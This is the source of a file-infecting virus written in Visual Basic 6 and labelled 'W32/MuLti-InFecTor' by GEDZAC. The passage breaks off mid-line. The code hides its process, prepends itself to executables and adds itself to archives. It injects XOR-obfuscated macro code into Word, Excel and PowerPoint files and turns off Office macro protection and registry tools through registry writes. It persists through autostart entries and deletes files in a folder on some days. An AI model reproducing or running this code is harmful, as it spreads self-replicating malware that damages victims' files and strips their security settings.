VERSION 5.00 Begin VB.Form Form1 Caption = "Form1" ClientHeight = 3195 ClientLeft = 60 ClientTop = 345 ClientWidth = 4680 Icon = "Multi-Infect.frx":0000 LinkTopic = "Form1" ScaleHeight = 3195 ScaleWidth = 4680 ShowInTaskbar = 0 'False StartUpPosition = 3 'Windows Default Visible = 0 'False End Attribute VB_Name = "Form1" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Declare Function GetPrivateProfileString Lib "Kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long Private Declare Function GetCurrentProcessId Lib "Kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "Kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Private Declare Function WritePrivateProfileString Lib "Kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long Const RSP_SIMPLE_SERVICE = 1: Const RSP_UNREGISTER_SERVICE = 0 Dim Fs, Sw, Sd, CodeB64, CodeScript1, CodeScript2, VBSMf, CodMp, wzp, wzx, wzt, wrp, wrx, wrt: Dim Wm1(5): Dim Vx As String Private Sub Form_Load() 'W32/MuLti-InFecTor By MachineDramon/GEDZAC - Falckon/GEDZAC 'Hecho en Sudamerica (Perú - Mexico) 'Infector de exe/scr/doc/xls/ppt/html/htm/plg/vbs/vbe/zip/rar 'Sin Carga Destructiva 'Derechos reservados On Error Resume Next HideProcess: App.TaskVisible = False Set Fs = CreateObject("Scripting.FileSystemObject") Set Sw = CreateObject("WScript.Shell") If Fs.FileExists(Sp(1) & "\Multi-Infect.dll") Then Call MultiInfector Else Call PcInfected End If End Sub Sub PptInfected() On Error Resume Next Set Wpt = CreateObject("PowerPoint.Application") DisabledSP Wpt Id = Shell(Wpt.Path & "\POWERPNT.EXE") Set Pd = Fs.Drives For Each Pdt In Pd If (Pdt.DriveType = 2) Or (Pdt.DriveType = 3) Then Set Sps = Wpt.FileSearch: Sps.NewSearch: Sps.LookIn = Pdt.Path & "\" Sps.SearchSubFolders = True: Sps.FileName = "*.ppt; *.pot; *.pps": Sps.Execute For i = 1 To Sps.FoundFiles.Count Wpt.WindowState = 2 Set Ps = Wpt.Presentations.Open(Sps.FoundFiles(i)) For g = 0 To Ps.VBProject.VBComponents.Count If (Ps.VBProject.VBComponents.Count = 0) Then InsertMod Ps Else If g = 0 Then j = 1 Else j = g If (Ps.VBProject.VBComponents(j).CodeModule.Lines(1, 1) <> "'") Then InsertMod Ps End If End If Ps.Save Next Next End If Next Wpt.Quit: Wpt = Nothing End Sub Sub InsertMod(Ps) On Error Resume Next Set Gm = Ps.VBProject.VBComponents.Add(1) Sc = Ps.Slides.Count: Sc = Sc - (Sc - 1) If Sc = 0 Then Exit Sub Gm.CodeModule.InsertLines 1, CodMp Set Shp = Ps.Slides(Sc).Shapes.AddShape(1, 0, 0, Ps.PageSetup.SlideWidth, Ps.PageSetup.SlideHeight) With Shp .Name = "GEDZAC" .ZOrder (msoSendToBack) .Line.Visible = False .Fill.Visible = False .ActionSettings(2).Action = ppActionRunMacro .ActionSettings(2).Run = "MultiInfector" End With Randomize: k = Int(Rnd * 5) Ps.Slides(Sc).Shapes.AddOLEObject Left:=50, Top:=50, Width:=50, Height:=50, FileName:=Sp(2) & Wm1(k), link:=False Sh = Ps.Slides(Sc).Shapes.Count Ps.Slides(Sc).Shapes(Sh).Name = "Mf" End Sub Sub DisabledSP(Wpt) On Error Resume Next Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Int(Wpt.Version) & ".0\PowerPoint\Options\NewSlideDialog", 0, "Hex" Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Int(Wpt.Version) & ".0\PowerPoint\Options\StartupDialog", 0, "Hex" If Int(Wpt.Version) > 8 Then Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\PowerPoint\Security\Level", 1, "REG_DWORD" Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\PowerPoint\Security\AccessVBOM", 1, "REG_DWORD" Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\PowerPoint\Security\Level", 1, "REG_DWORD" Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\PowerPoint\Security\Level", 1, "REG_DWORD" Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\PowerPoint\Security\Level", 1, "REG_DWORD" Wpt.CommandBars("View").Controls(8).Enabled = False Wpt.CommandBars("Visual Basic").Enabled = False Wpt.CommandBars("Tools").Controls("Macro").Enabled = False Wpt.CommandBars("Tools").Controls(10).Enabled = False Wpt.CommandBars("Tools").Controls(11).Enabled = False Wpt.CommandBars("Tools").Controls(12).Enabled = False ElseIf Int(Wpt.Version) < 9 Then Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options\MacroVirusProtection", 0, "D" Rw "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options\MacroVirusProtection", 0, "D" Rw "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\PowerPoint\Options\MacroVirusProtection", 0, "D" Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\8.0\PowerPoint\Options\MacroVirusProtection", 0, "D" Wpt.CommandBars("View").Controls(10).Enabled = False Wpt.CommandBars("Visual Basic").Enabled = False Wpt.CommandBars("Tools").Controls("Macro").Enabled = False Wpt.CommandBars("Tools").Controls(12).Enabled = False Wpt.CommandBars("Tools").Controls(13).Enabled = False Wpt.CommandBars("Tools").Controls(14).Enabled = False End If End Sub Function IsInfected(x) On Error Resume Next Dim Vs As String: n = FrFile Open x For Binary Access Read As n Vs = Space(LOF(n)) Get n, , Vs Close n If InStr(Vs, "MuLti-InFecTor") <> 0 Then IsInfected = True Else IsInfected = False End Function Function FrFile() On Error Resume Next FrFile = FreeFile End Function Sub PcInfected() On Error Resume Next If IsInfected(Sp(3)) = False Then FileCopy Sp(3), Sp(0) & "\Multi-Infector.pif" ElseIf IsInfected(Sp(3)) = True Then RegHost Sp(3) RegVir Sp(3) End If Rm1 = Rm: Rm2 = Rm FileCopy Sp(0) & "\Multi-Infector.pif", Sp(1) & "\" & Rm1 & ".pif" FileCopy Sp(0) & "\Multi-Infector.pif", Sp(1) & "\" & Rm2 & ".pif" FileCopy Sp(0) & "\Multi-Infector.pif", Sp(1) & "\Multi-Infect.dll" Rw "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\W32Load", Sp(1) & "\" & Rm1 & ".pif", "" WIni "boot", "shell", "Explorer.exe " & Sp(1) & "\" & Rm2 & ".pif", Sp(0) & "\System.ini" Id = Shell(Sp(1) & "\" & Rm1 & ".pif") Rw "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "DWORD" Rw "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD" Fs.DeleteFile Sp(0) & "\Multi-Infector.pif" End End Sub Sub MultiInfector() On Error Resume Next If (IsInfected(Sp(3)) = False) And (Right(LCase(Sp(3)), 3) = "pif") Then If Day(Date) = 26 Then Call Mensage Call Variables Call DocInfected Call XlsInfected Call MDisk Call PptInfected If Day(Date) Mod 2 = 0 Then ClearFolder (Sp(2)) ElseIf IsInfected(Sp(3)) = True Then RegHost Sp(3) End Else End End If End Sub Sub ExeInfected(Xp) On Error Resume Next Dim host As String: n = FrFile: SA Xp, 0 If InStr(LCase(Xp), "winzip") <> 0 Then Exit Sub If InStr(LCase(Xp), "winrar") <> 0 Then Exit Sub '7 dias heghcvfsfhhjukgdgcbdgw hj k mkif ghjk klg Open Xp For Binary Access Read As n host = Space(LOF(n)) Get n, , host Close n If InStr(host, "MuLti-InFecTor") <> 0 Then Exit Sub Else n = FrFile Open Xp For Binary Access Write As n Put n, , Vx Put n, , host Put n, , "MuLti-InFecTor" Close n End If End Sub Sub RegHost(Xp) On Error Resume Next Dim Xn As Long: Randomize: n = FrFile Xn = Int(Rnd * 1000000) Dim Vs2 As String, host2 As String Open Xp For Binary Access Read As n Vs2 = Space(38400) host2 = Space(LOF(1) - 38400) Get n, , Vs2 Get n, , host2 Close n n = FrFile If LCase(Right(Xp, 3)) = "exe" Then Open Sp(2) & "\" & Xn & ".exe" For Binary Access Write As n Put n, , host2 Close n: Id = Shell(Sp(2) & "\" & Xn & ".exe") ElseIf LCase(Right(Xp, 3)) = "scr" Then Open Sp(2) & "\" & Xn & ".scr" For Binary Access Write As n Put n, , host2 Close n: Sw.Run Sp(2) & "\" & Xn & ".scr" End If 'MFolder ("C:\ppt\")fdgfdgdgddfg End Sub Sub RegVir(Xp) On Error Resume Next Dim Vs3 As String: n = FrFile Open Xp For Binary Access Read As n Vs3 = Space(38400) Get n, , Vs3 Close n n = FrFile Open Sp(0) & "\Multi-Infector.pif" For Binary Access Write As n Put n, , Vs3 Close n End Sub Sub ZipInfected(Xp, Xn) On Error Resume Next: SA Xp, 0 If wzt <> True Then Exit Sub If InStr(wzx, Xn) <> 0 Then Exit Sub Randomize: i = Int(Rnd * 5) Id = Shell(wzp & " -a " & Xp & " " & Sp(2) & Wm1(i), vbHide) Set Wd1 = Fs.OpenTextFile(Sp(1) & "\WzDat.dat", 8) Wd1.Write Xn Wd1.Close End Sub Sub RarInfected(Xp, Xn) On Error Resume Next: SA Xp, 0 If wrt <> True Then Exit Sub If InStr(wrx, Xn) <> 0 Then Exit Sub Randomize: i = Int(Rnd * 5) Id = Shell(wrp & " a " & Xp & " " & Sp(2) & Wm1(i), vbHide) Set Wa1 = Fs.OpenTextFile(Sp(1) & "\WrDat.dat", 8) Wa1.Write Xn Wa1.Close End Sub Sub ClearFolder(Xp) On Error Resume Next Set Cfg = Fs.GetFolder(Xp): Set Cfs = Cfg.Files For Each Cg In Cfs Fs.DeleteFile (Cg.Path) Next End Sub Sub HideProcess() On Error Resume Next: Dim H As Long H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE) End Sub Sub DocInfected() On Error Resume Next: Dim Nl As Integer Set Wr = CreateObject("Word.Application") Wr.Visible = False: DisabledSW Wr: SA Wr.NormalTemplate.Path, 0 Set Wnd = Wr.NormalTemplate.VBProject.VBComponents.Item(1) If LCase(Wnd.CodeModule.Lines(1, 1)) = "'gedzac" Then Set Wnd = Nothing: Wr.Quit Exit Sub Wnd.Name = "GEDZAC" End If Dim M1, M2, M3, M4, M5, MCV As String Set Wmw = Fs.CreateTextFile(Sp(1) & "\mcw.vir") M1 = "'GEDZAC" & vbCrLf & _ "Sub AutoExec()" & vbCrLf & _ "On Error Resume Next" & vbCrLf & _ "Key8 = BuildKeyCode(wdKeyAlt, wdKeyF8): Key11 = BuildKeyCode(wdKeyAlt, wdKeyF11)" & vbCrLf & _ "Ktip = wdKeyCategoryCommand" & vbCrLf & "KeyBindings.Add Ktip, ¢Keys¢, Key8" & vbCrLf & _ "KeyBindings.Add Ktip, ¢Keys¢, Key11" & vbCrLf & "End Sub" & vbCrLf & _ "Private Sub Document_Close()" & vbCrLf & "On Error Resume Next" & vbCrLf & _ "Dim w, f, Vw(4), n, Nm, ISM, VPath" & vbCrLf & _ "Set AD = ActiveDocument.VBProject.VBComponents.Item(1)" & vbCrLf & _ "Set NT = NormalTemplate.VBProject.VBComponents.Item(1)" & vbCrLf & _ "Set w = CreateObject(u(¢PTdunws)Tobkk¢))" & vbCrLf & _ "Set f = CreateObject(u(¢Tdunwsni`)AnkbT~tsbjHembds¢))" & vbCrLf & _ "Nm = LCase(AD.Name)" & vbCrLf & "If Nm <> u(¢`bc}fd¢) Then" & vbCrLf & _ "Vw(0) = u(¢[PhucFtntsfic)chd)tdu¢): Vw(1) = u(¢[NiahujbDrbisft)ss)bb¢)" & vbCrLf & _ "Vw(2) = u(¢[PniDhjwhibis)efs¢): Vw(3) = u(¢[Chdrjbis)chd)wna¢)" & vbCrLf & _ "Vw(4) = u(¢[PhucKhfc)chd)dhj¢)" & vbCrLf & "Randomize" & vbCrLf M2 = "n = Int(Rnd * 5): VPath = f.GetSpecialFolder(2) & Vw(n)" & vbCrLf & _ "If Dir(VPath) = ¢¢ Then" & vbCrLf & _ "FileCopy f.GetSpecialFolder(1) & u(¢[Jrksn*Niabds)ckk¢), VPath" & vbCrLf & _ "End If" & vbCrLf & "NL = AD.Codemodule.CountOfLines" & vbCrLf & _ "If NL > 0 Then AD.Codemodule.DeleteLines 1, NL" & vbCrLf & _ "ISM = u(¢Wunqfsb'Tre'ChdrjbisXHwbi/.¢) & vbCrLf & u(¢Hi'Buuhu'Ubtrjb'ibs¢) & vbCrLf & u(¢Tbs'p':'DubfsbHembds/¢) & Chr(34) & u(¢PTdunws)Tobkk¢) & Chr(34) & u(¢.¢) & vbCrLf & _" & vbCrLf & _ "u(¢Tbs'a':'DubfsbHembds/¢) & Chr(34) & u(¢Tdunwsni`)AnkbT~tsbjHembds¢) & Chr(34) & u(¢.¢) & vbCrLf & _" & vbCrLf & _ "u(¢FJ':'@bsFssu/a)@bsTwbdnfkAhkcbu/6.'!'¢) & Chr(34) & u(¢[Jrksn*Niabds)ckk¢) & Chr(34) & u(¢.¢) & vbCrLf & _" & vbCrLf & _ "u(¢Na'FJ':'¢) & Chr(34) & Chr(34) & u(¢'sobi¢) & vbCrLf & u(¢FdsnqbChdrjbis)Tofwbt/6.)Qntnekb':'Surb¢) & vbCrLf & _" & vbCrLf & _ "u(¢TQnu':'FdsnqbChdrjbis)Tofwbt/6.)HKBAhujfs)DkfttS~wb¢) & vbCrLf & _" & vbCrLf & _ "u(¢Pnso'FdsnqbChdrjbis)Tofwbt/6.)HKBAhujfs¢) & vbCrLf & _" & vbCrLf & _ "u(¢'''')FdsnqfsbFt'DkfttS~wb=:TQnu¢) & vbCrLf & _" & vbCrLf & _ "u(¢'''')Fdsnqfsb¢) & vbCrLf & _" & vbCrLf & _ "u(¢Bic'Pnso¢) & vbCrLf & u(¢bktb¢) & vbCrLf & u(¢FdsnqbChdrjbis)Tofwbt/6.)Qntnekb':'Afktb¢) & vbCrLf & _" & vbCrLf & _ "u(¢Bic'Na¢) & vbCrLf & _" & vbCrLf & _ "u(¢na'Kdftb/Ihujfksbjwkfsb)QEWuhmbds)QEDhjwhibist)Nsbj/6.)Ifjb.';9'¢) & Chr(34) & u(¢`bc}fd¢) & Chr(34) & u(¢'sobi¢) & vbCrLf & _" & vbCrLf & _ "u(¢Lb~?':'ErnkcLb~Dhcb/pcLb~Fks+'pcLb~A?.='Lb~66':'ErnkcLb~Dhcb/pcLb~Fks+'pcLb~A66.=Lsnw':'pcLb~Dfsb`hu~Dhjjfic¢) & vbCrLf & _" & vbCrLf & _ "u(¢Lb~Enicni`t)Fcc'Lsnw+'¢) & Chr(34) & u(¢Lb~o¢) & Chr(34) & u(¢+'Lb~?¢) & vbCrLf & _" & vbCrLf & _ "u(¢Lb~Enicni`t)Fcc'Lsnw+'¢) & Chr(34) & u(¢Lb~o¢) & Chr(34) & u(¢+'Lb~66¢) & vbCrLf & _" & vbCrLf & _ "u(¢Bic'Na¢) & vbCrLf & NT.Codemodule.lines(49, NT.Codemodule.CountOfLines)" & vbCrLf M3 = "AD.Codemodule.InsertLines 1, ISM" & vbCrLf & "AD.Codemodule.ReplaceLine 61, ¢Sub Keyh()¢" & vbCrLf & _ "ActiveDocument.Shapes.AddOLEObject , VPath, False" & vbCrLf & "AD.Name = u(¢@BC]FD¢)" & vbCrLf & _ "If ActiveDocument.Path <> ¢¢ Then ActiveDocument.Save" & vbCrLf & _ "End If" & vbCrLf & "If Int(Application.Version) > 8 Then" & vbCrLf & _ "w.RegWrite u(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[67)7[Phuc[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "w.RegWrite u(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[67)7[Phuc[Tbdruns~[FddbttQEHJ¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "w.RegWrite u(¢OLB^XRTBUT[)CBAFRKS[Thaspfub[Jnduhthas[Haandb[67)7[Phuc[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "w.RegWrite u(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[>)7[Phuc[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "w.RegWrite u(¢OLB^XRTBUT[)CBAFRKS[Thaspfub[Jnduhthas[Haandb[>)7[Phuc[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "CommandBars(u(¢Shhkt¢)).Controls(u(¢Jfduh¢)).Enabled = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(u(¢Qnbp¢)).Controls(5).Enabled = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(u(¢Shhkt¢)).Controls(17).Enabled = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(u(¢Shhkt¢)).Controls(18).Enabled = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(u(¢Shhkt¢)).Controls(19).Enabled = u(¢Afktb¢)" & vbCrLf & _ "ScreenUpdating = u(¢Afktb¢)" & vbCrLf & "DisplayAlerts = u(¢Afktb¢)" & vbCrLf & _ "Options.ConfirmConversions = u(¢Afktb¢)" & vbCrLf & _ "Options.SaveNormalPrompt = u(¢Afktb¢)" & vbCrLf M4 = "EnableCancelKey = 0" & vbCrLf & _ "ShowVisualBasicEditor = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(¢Visual Basic¢).Enabled = u(¢Afktb¢)" & vbCrLf & _ "ElseIf Int(Application.Version) < 9 Then" & vbCrLf & _ "CommandBars(u(¢Shhkt¢)).Controls(u(¢Jfduh¢)).Enabled = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(u(¢Shhkt¢)).Controls(14).Enabled = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(u(¢Shhkt¢)).Controls(15).Enabled = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(u(¢Shhkt¢)).Controls(16).Enabled = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(u(¢Qnbp¢)).Controls(6).Enabled = u(¢Afktb¢)" & vbCrLf & _ "Options.VirusProtection = u(¢Afktb¢)" & vbCrLf & "Options.ConfirmConversions = u(¢Afktb¢)" & vbCrLf & _ "Options.SaveNormalPrompt = u(¢Afktb¢)" & vbCrLf & "ScreenUpdating = u(¢Afktb¢)" & vbCrLf & _ "DisplayAlerts = u(¢Afktb¢)" & vbCrLf & "EnableCancelKey = 0" & vbCrLf & _ "ShowVisualBasicEditor = u(¢Afktb¢)" & vbCrLf & _ "CommandBars(¢Visual Basic¢).Enabled = u(¢Afktb¢)" & vbCrLf & _ "End If" & vbCrLf & "End Sub" & vbCrLf & "Private Function u(s)" & vbCrLf M5 = "On Error Resume Next" & vbCrLf & "For i = 1 To Len(s)" & vbCrLf & _ "u = u & Chr(Asc(Mid(s, i, 1)) Xor 7)" & vbCrLf & "Next" & vbCrLf & _ "End Function" & vbCrLf & "Sub Keys()" & vbCrLf & _ "On Error Resume Next" & vbCrLf & "Dim Lg As String" & vbCrLf & _ "Lg = Application.Languages(Application.Language)" & vbCrLf & _ "If InStr(LCase(Lg), u(¢btwföhk¢)) <> 0 Then" & vbCrLf & _ "MsgBox u(¢Dhjwhibisb'ih'Qæknch¢), 16, u(¢Buuhu¢)" & vbCrLf & _ "Else" & vbCrLf & "MsgBox u(¢Ihi'Qfknc'dhjwhibis¢), 16, u(¢Buuhu¢)" & vbCrLf & _ "End If" & vbCrLf & "End Sub" & vbCrLf MCV = M1 & M2 & M3 & M4 & M5 MCV = Replace(MCV, "¢", Chr(34)): Wmw.Write MCV Wmw.Close Set Wcm = Wnd.CodeModule If Wcm.CountOfLines > 0 Then Wcm.DeleteLines 1, Wcm.CountOfLines End If Set Wmr = Fs.OpenTextFile(Sp(1) & "\mcw.vir") Nl = 1 Do While Wmr.AtendOfstream = False Wline = Wmr.ReadLine DoEvents Wcm.InsertLines Nl, Wline: Nl = Nl + 1 Loop Wmr.Close SA Wr.NormalTemplate.Path, 0: Wr.NormalTemplate.Save: SA Wr.NormalTemplate.Path, 1 Set Wcm = Nothing: Set Wnd = Nothing: Wr.Quit: Set Wr = Nothing End Sub Sub DisabledSW(Wr) On Error Resume Next If Int(Wr.Version) > 8 Then Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD" Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\AccessVBOM", 1, "REG_DWORD" Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD" Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD" 'Desde Abajo Te Devora Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD" Wr.CommandBars("View").Controls(5).Enabled = False Wr.CommandBars("Tools").Controls("Macro").Enabled = False Wr.CommandBars("Tools").Controls(17).Enabled = False Wr.CommandBars("Tools").Controls(18).Enabled = False Wr.CommandBars("Tools").Controls(19).Enabled = False Wr.CommandBars("Visual Basic").Enabled = False Wr.DisplayAlerts = False Wr.Options.ConfirmConversions = False Wr.Options.SaveNormalPrompt = False Wr.Options.VirusProtection = False Wr.ShowVisualBasicEditor = False Wr.EnableCancelKey = 0 Wr.ScreenUpdating = False ElseIf Int(Wr.Version) < 9 Then Wr.CommandBars("View").Controls(6).Enabled = False Wr.CommandBars("Tools").Controls(14).Enabled = False Wr.CommandBars("Tools").Controls(15).Enabled = False Wr.CommandBars("Tools").Controls(16).Enabled = False Wr.CommandBars("Tools").Controls("Macro").Enabled = False Wr.Options.VirusProtection = False 'el sauce se va secando, pero la semilla persiste, cuando la tierra sea la idónea para plantarla, el sauce germinará y habrá otra oportunidad”. Wr.Options.ConfirmConversions = False Wr.Options.SaveNormalPrompt = False Wr.ScreenUpdating = False Wr.DisplayAlerts = False Wr.EnableCancelKey = 0 Wr.ShowVisualBasicEditor = False Wr.CommandBars("Visual Basic").Enabled = False End If End Sub Sub XlsInfected() On Error Resume Next Set Xl = CreateObject("Excel.Application") Xl.Visible = False DisabledXS Xl If Dir(Xl.StartupPath & "\Template.xls") = "" Then Kill Xl.StartupPath & "\*.*": Xl.WorkBooks.Add Set Axl = Xl.ActiveWorkBook.VBProject.VBComponents.Item(1) Dim X1, X2, X3, X4, MCV As String Set Cmx = Fs.CreateTextFile(Sp(1) & "\mcx.vir") X1 = "'GEDZAC" & vbCrLf & "Private Sub Workbook_Open()" & vbCrLf & _ "On Error Resume Next" & vbCrLf & "Windows(Me.Name).Visible = True" & vbCrLf & _ "End Sub" & vbCrLf & "Private Sub Workbook_Deactivate()" & vbCrLf & _ "On Error Resume Next" & vbCrLf & "Dim f, Axl, Mx, Xv(4), VPath" & vbCrLf & _ "Set f = CreateObject(x(¢Tdunwsni`)AnkbT~tsbjHembds¢))" & vbCrLf & _ "Set Axl = ActiveWorkbook.VBProject.VBComponents.Item(1)" & vbCrLf & _ "Set Mx = Me.VBProject.VBComponents.Item(1)" & vbCrLf & _ "If LCase(Axl.CodeModule.Lines(1, 1)) <> x(¢ `bc}fd¢) Then" & vbCrLf & _ "Xv(0) = x(¢[ChdrjbisDfkd)kt)bb¢): Xv(1) = x(¢[JtObkw)kt)efs¢): Xv(2) = x(¢[JtKndbitb)kt)dhj¢)" & vbCrLf & _ "Xv(3) = x(¢[_kF`bis)kt)wna¢): Xv(4) = x(¢[Ubdhusb)kt)wna¢)" & vbCrLf & _ "Randomize: n = Int(Rnd * 5): VPath = f.GetSpecialFolder(2) & Xv(n)" & vbCrLf & _ "If Dir(VPath) = ¢¢ Then" & vbCrLf & "FileCopy f.GetSpecialFolder(1) & x(¢[Jrksn*Niabds)ckk¢), VPath" & vbCrLf & _ "End If" & vbCrLf & "If Axl.CodeModule.CountOfLines > 0 Then Axl.CodeModule.DeleteLines 1, Axl.CodeModule.CountOfLines" & vbCrLf X2 = "Dim ISM As String: ISM = Mx.CodeModule.Lines(27, Mx.CodeModule.CountOfLines)" & vbCrLf & _ "Axl.CodeModule.InsertLines 1, x(¢ @BC]FD¢) & vbCrLf & ISM" & vbCrLf & _ "Application.Worksheets(1).Shapes.AddOLEObject Left:=100, Top:=100, Width:=200, Height:=300, Filename:=VPath, link:=False" & vbCrLf & _ "If ActiveWorkbook.Path <> ¢¢ Then ActiveWorkbook.Save" & vbCrLf & _ "End If" & vbCrLf & "Windows(Me.Name).Visible = x(¢Afktb¢)" & vbCrLf & _ "End Sub" & vbCrLf & "Private Sub Workbook_Activate()" & vbCrLf & _ "On Error Resume Next" & vbCrLf & "Dim w, f1: Set w = CreateObject(x(¢PTdunws)Tobkk¢)): Set f1 = CreateObject(x(¢Tdunwsni`)AnkbT~tsbjHembds¢))" & vbCrLf & _ "If Dir(f1.GetSpecialFolder(1) & x(¢[Jrksn*Niabds)ckk¢)) = ¢¢ Then" & vbCrLf & _ "Application.Worksheets(1).Visible = True" & vbCrLf & "Application.Worksheets(1).Shapes(1).OLEFormat.Activate" & vbCrLf & _ "Else" & vbCrLf & "Application.Worksheets(1).Visible = False" & vbCrLf & _ "End If" & vbCrLf & "If Int(Application.Version) > 8 Then" & vbCrLf & _ "w.Regwrite x(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[67)7[Bdbk[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "w.Regwrite x(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[67)7[Bdbk[Tbdruns~[FddbttQEHJ¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "w.Regwrite x(¢OLB^XRTBUT[)CBAFRKS[Thaspfub[Jnduhthas[Haandb[67)7[Bdbk[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "w.Regwrite x(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[>)7[Bdbk[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "w.Regwrite x(¢OLB^XRTBUT[)CBAFRKS[Thaspfub[Jnduhthas[Haandb[>)7[Bdbk[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrLf & _ "Application.ScreenUpdating = x(¢Afktb¢)" & vbCrLf X3 = "Application.DisplayStatusBar = x(¢Afktb¢)" & vbCrLf & _ "Application.DisplayAlerts = x(¢Afktb¢)" & vbCrLf & "Application.EnableCancelKey = 0" & vbCrLf & _ "Application.CommandBars(x(¢Pnichp¢)).Controls(4).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Qnbp¢)).Controls(3).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Qntrfk'Eftnd¢)).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Shhkt¢)).Controls(x(¢Jfduh¢)).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Shhkt¢)).Controls(12).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Shhkt¢)).Controls(13).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Shhkt¢)).Controls(14).Enabled = x(¢Afktb¢)" & vbCrLf & _ "ElseIf Int(Application.Version) < 9 Then" & vbCrLf & "w.Regwrite x(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[?)7[Bdbk[Jnduhthas'Bdbk[Hwsnhit1¢), 0, ¢REG_DWORD¢" & vbCrLf & _ "Application.ScreenUpdating = x(¢Afktb¢)" & vbCrLf & "Application.DisplayStatusBar = x(¢Afktb¢)" & vbCrLf & _ "Application.DisplayAlerts = x(¢Afktb¢)" & vbCrLf & "Application.EnableCancelKey = 0" & vbCrLf & _ "Application.CommandBars(x(¢Pnichp¢)).Controls(4).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Qnbp¢)).Controls(3).Enabled = x(¢Afktb¢)" & vbCrLf X4 = "Application.CommandBars(x(¢Qntrfk'Eftnd¢)).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Shhkt¢)).Controls(x(¢Jfduh¢)).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Shhkt¢)).Controls(11).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Shhkt¢)).Controls(12).Enabled = x(¢Afktb¢)" & vbCrLf & _ "Application.CommandBars(x(¢Shhkt¢)).Controls(13).Enabled = x(¢Afktb¢)" & vbCrLf & _ "End If" & vbCrLf & "End Sub" & vbCrLf & "Private Function x(c)" & vbCrLf & "On Error Resume Next" & vbCrLf & _ "For i = 1 To Len(c)" & vbCrLf & "x = x & Chr(Asc(Mid(c, i, 1)) Xor 7)" & vbCrLf & "Next" & vbCrLf & _ "End Function" & vbCrLf MCV = X1 & X2 & X3 & X4 MCV = Replace(MCV, "¢", Chr(34)): Cmx.Write MCV Cmx.Close If Axl.CodeModule.CountOfLines > 0 Then Axl.CodeModule.DeleteLines 1, Axl.CodeModule.CountOfLines Set Xmc = Fs.OpenTextFile(Sp(1) & 